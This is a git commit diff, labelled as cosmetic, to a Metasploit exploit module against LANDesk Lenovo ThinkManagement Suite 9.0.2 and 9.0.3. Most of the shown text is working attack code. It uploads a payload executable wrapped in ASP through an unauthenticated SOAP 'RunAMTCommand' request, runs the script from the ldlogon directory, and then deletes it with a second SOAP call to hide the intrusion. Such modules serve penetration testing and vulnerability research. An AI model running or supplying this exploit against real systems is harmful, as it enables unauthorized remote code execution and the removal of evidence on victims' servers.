Cosmetic changes, mostly :-)
parent
00ff2e3dc1
commit
05eba0ab4c
|
@ -19,13 +19,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module can be used to execute a payload on LANDesk Lenovo
|
||||
ThinkManagement Suite 9.0.2 and 9.0.3.
|
||||
The payload is uploaded as an ASP script sending a specially crafted
|
||||
|
||||
The payload is uploaded as an ASP script by sending a specially crafted
|
||||
SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
|
||||
specifying a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
|
||||
as argument.
|
||||
After execution the ASP script with the payload is deleted sending a
|
||||
specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
|
||||
specifying a "SetTaskLogByFile" operation.
|
||||
, via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
|
||||
as the argument.
|
||||
|
||||
After execution, the ASP script with the payload is deleted by sending
|
||||
another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
|
||||
via a "SetTaskLogByFile" operation.
|
||||
},
|
||||
'Author' => [
|
||||
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
|
||||
|
@ -60,6 +62,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
# Generate the ASP containing the EXE containing the payload
|
||||
exe = generate_payload_exe
|
||||
asp = Msf::Util::EXE.to_exe_asp(exe)
|
||||
|
@ -90,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# UPLOAD
|
||||
#
|
||||
attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
|
||||
print_status("Uploading #{asp.length} bytes through #{attack_url}...")
|
||||
print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => attack_url,
|
||||
|
@ -103,9 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 20)
|
||||
|
||||
if (! res)
|
||||
print_status("Timeout - Trying to execute the payload anyway")
|
||||
print_status("#{peer} - Timeout: Trying to execute the payload anyway")
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
print_error("Upload failed on #{attack_url} [#{res.code} #{res.message}]")
|
||||
print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -113,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# EXECUTE
|
||||
#
|
||||
upload_path = uri_path + "ldlogon/#{upload_random}.asp"
|
||||
print_status("Executing #{upload_path}...")
|
||||
print_status("#{peer} - Executing #{upload_path}...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => upload_path,
|
||||
|
@ -121,12 +125,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 20)
|
||||
|
||||
if (! res)
|
||||
print_error("Execution failed on #{upload_path} [No Response]")
|
||||
print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
|
||||
return
|
||||
end
|
||||
|
||||
if (res.code < 200 or res.code >= 300)
|
||||
print_error("Execution failed on #{upload_path} [#{res.code} #{res.message}]")
|
||||
print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -148,23 +152,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
eos
|
||||
|
||||
attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
|
||||
print_status("Deleting #{upload_path} through #{attack_url}...")
|
||||
print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => attack_url,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml; charset=utf-8',
|
||||
'headers' => {
|
||||
'headers' => {
|
||||
'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",
|
||||
},
|
||||
'data' => soap,
|
||||
}, 20)
|
||||
|
||||
if (! res)
|
||||
print_error("Deletion failed on #{attack_url} [No Response]")
|
||||
print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
|
||||
return
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
print_error("Deletion failed on #{attack_url} [#{res.code} #{res.message}]")
|
||||
print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
|
||||
return
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue